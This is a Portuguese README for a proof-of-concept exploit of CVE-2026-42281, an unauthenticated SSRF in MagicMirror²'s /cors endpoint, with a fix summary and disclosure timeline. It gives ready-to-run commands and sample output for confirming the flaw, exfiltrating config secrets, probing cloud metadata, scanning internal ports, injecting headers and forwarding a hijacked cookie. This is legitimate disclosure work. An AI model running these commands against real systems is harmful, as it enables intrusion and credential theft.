
Prova de conceito de exploit para CVE-2026-42281, uma SSRF não autenticada no MagicMirror² ≤ 2.35.0, que permite exfiltração de configuração, sondagem de metadados em nuvem e varredura de rede interna.
/cors
Descoberto e reportado por: Astaruf
Artigo completo: https://nstsec.com/en/posts/magicmirror-ssrf-cve-2026-42281/
Aviso upstream: Avisos de segurança do MagicMirrorOrg/MagicMirror
Entrada NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42281
Este repositório hospeda o exploit de prova de conceito para CVE-2026-42281, um SSRF não autenticado no MagicMirror² ≤ 2.35.0 que transforma o endpoint /cors em um proxy SSRF totalmente funcional, alcançando loopback, redes internas e serviços de metadados em nuvem. Com hideConfigSecrets: true, o mesmo endpoint também exfiltra valores de process.env.SECRET_* em uma única requisição.
Para a revisão completa do código, análise da vulnerabilidade, detalhamento da correção, disputa de CVSS e cronograma, consulte o artigo completo em nstsec.com. Este README foca em como usar o PoC.
# 1. Verifique se o alvo é vulnerável
python3 poc.py -t http://target:8080 --check
# 2. Exfiltre a configuração da aplicação (com descoberta automática de segredos)
python3 poc.py -t http://target:8080 --config
# 3. Teste serviços de metadados em nuvem em mais de 10 provedores
python3 poc.py -t http://target:8080 --cloud
# 4. Varredura de portas na rede interna via SSRF
python3 poc.py -t http://target:8080 --port-scan 10.0.0.1,10.0.0.2 -p 22,80,443,3306,6379
# 5. Demonstre abuso de cabeçalhos de entrada/saída
python3 poc.py -t http://target:8080 --headers
# 6. Use o servidor como um proxy aberto genérico
python3 poc.py -t http://target:8080 --open-proxy https://internal.corp/api
| Flag | Descrição |
|---|---|
--check | Verifica se o SSRF é explorável via fetch de loopback de /version |
--config | SSRF /config via loopback, analisa JSON, procura por chaves de API / tokens / senhas nas configurações dos módulos |
--cloud | Testa serviços de metadados em AWS, GCP, Azure, OCI, DigitalOcean, Alibaba, Hetzner, IBM, Kubernetes, Rancher, Equinix; segue automaticamente a enumeração de funções IAM da AWS |
--port-scan HOSTS | Escaneia um ou mais hosts (-p 22,80 / -p 0-1024 / -p - para todas as 65535 portas), com threads |
--headers | Parte A: injeta cabeçalhos Authorization/X-* na requisição de saída via sendheaders. Parte B: encaminha Set-Cookie controlado pelo atacante de uma origem maliciosa para o navegador da vítima via expectedheaders |
--open-proxy URL | GET SSRF genérico para qualquer URL, imprime o corpo da resposta (útil para explorar APIs HTTP internas) |
| Opção | Padrão | Descrição |
|---|---|---|
-t / --target | obrigatório | URL do alvo, ex.: http://192.168.1.10:8080 |
--timeout | 2.0 | Tempo limite por requisição em segundos |
--threads | 30 | Threads para --port-scan |
--verbose | desligado | Imprime respostas JSON completas (e corpos de metadados em nuvem sem redação) |
1. Banner do PoC e modo --check confirmando SSRF:
$ python3 poc.py -t http://127.0.0.1:8080 --check
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██████╗ █████╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ╚════██╗ ╚════██╗ ██╔══██╗ ███║
██║ ██║ ██║█████╗ -2026- ███████║ █████╔╝ █████╔╝ ╚█████╔╝ ╚██║
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██╔═══╝ ██╔═══╝ ██╔══██╗ ██║
╚██████╗ ╚████╔╝ ███████╗ ██║ ███████╗ ███████╗ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚══════╝ ╚══════╝ ╚════╝ ╚═╝
MagicMirror² <= v2.35.0 — SSRF não autenticado via endpoint /cors
Autor: Astaruf | https://nstsec.com
CHECK, Acessibilidade do alvo e confirmação de SSRF
[*] Verificando acessibilidade do alvo ...
[+] Alvo acessível, MagicMirror 2.35.0
[*] Confirmando SSRF via loopback ...
>> GET http://127.0.0.1:8080/cors?url=http://127.0.0.1:8080/version
[+] SSRF CONFIRMADO, o servidor buscou recurso interno em nosso nome
<< 2.35.0
2. --config exfiltra a configuração da aplicação e descobre automaticamente segredos nas configurações dos módulos:
EXFILTRAÇÃO DE CONFIG, Configuração completa via loopback SSRF
[+] Configuração recuperada, 1194 bytes
[*] address : 0.0.0.0
[*] port : 8080
[*] ipWhitelist: [] aberto para todos os IPs
SEGREDOS ENCONTRADOS:
[weather] apiKey = ow_demo_api_key_d34db33fc4f3b4b3
[calendar] calendars[0].auth.pass = S3cretCalendarPa$$word!
[newsfeed] accessToken = sk-newsfeed-bearer-T0kEn-xyz789
3. --headers confirma injeção de saída e encaminhamento de entrada:
INJEÇÃO DE CABEÇALHOS, Abuso de cabeçalhos de entrada e saída
[*] Parte A: injetando cabeçalhos arbitrários em requisições de saída via sendheaders
[+] Cabeçalho X-Injected-By: SSRF-PoC confirmado na requisição de saída
[+] Cabeçalho Authorization: Bearer DEMO_TOKEN confirmado na requisição de saída
[*] Parte B: encaminhando cabeçalhos de resposta para o navegador via expectedheaders
[+] Cabeçalho de resposta Set-Cookie encaminhado para o navegador: session=hijacked;HttpOnly
[+] O navegador recebe este cookie como se tivesse origem no domínio do MagicMirror
4. --open-proxy confirma HTTP de saída do servidor:
PROXY ABERTO, Buscando https://httpbin.org/ip via servidor vulnerável
[+] HTTP 200, 32 bytes recebidos do servidor
{
"origin": "<IP público do servidor, não o do atacante>"
}
--check (e todos os outros modos) envia um SSRF de loopback para http://127.0.0.1:<porta>/version. Ao testar via Docker, certifique-se de que a porta do host corresponda à porta do contêiner (ex.: mapeie 8080:8080, não 8081:8080), caso contrário o alvo de loopback não será resolvido de dentro do contêiner, mesmo que a instância seja genuinamente vulnerável.--cloud contra uma instância não em nuvem (Raspberry Pi, bare metal) não produz resultados — isso é esperado e o script o reporta explicitamente. O vetor existe; testá-lo requer uma implantação real em nuvem.Incluída no MagicMirror² v2.36.0 (lançado em 30 de abril de 2026). A correção é distribuída em seis PRs (#4084, #4087, #4090, #4091, #4102, #4104). Consulte o artigo completo para o detalhamento por PR, trechos de código e a matriz de verificação das tentativas de bypass re-testadas contra a versão corrigida.
| Data | Evento |
|---|---|
| 2026-03-30 | Vulnerabilidade descoberta, issue pública aberta, e-mail enviado ao mantenedor |
| 2026-03-31 | Mantenedor reconheceu o relatório |
| 2026-04-01 | Mantenedores adicionaram SECURITY.md e habilitaram GitHub Security Advisories no repositório |
| 2026-04-09 | Aviso formal GHSA aberto |
| 2026-04-26 | Correção confirmada para o próximo lançamento. CVE-2026-42281 atribuída pelo GitHub |
| 2026-04-26 | Disputa de CVSS — vetor elevado de Moderado para 9.2 Crítico (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N) |
| 2026-04-30 | MagicMirror² v2.36.0 lançado, correção publicada publicamente |
| 2026-05-04 | Divulgação pública (artigo + repositório do PoC) |
Este material é fornecido apenas para testes de segurança autorizados e fins educacionais. Use-o somente contra instâncias do MagicMirror² que você possui ou para as quais tenha permissão escrita explícita para testar. Acesso não autorizado a sistemas de computador é ilegal. O autor não assume responsabilidade por uso indevido.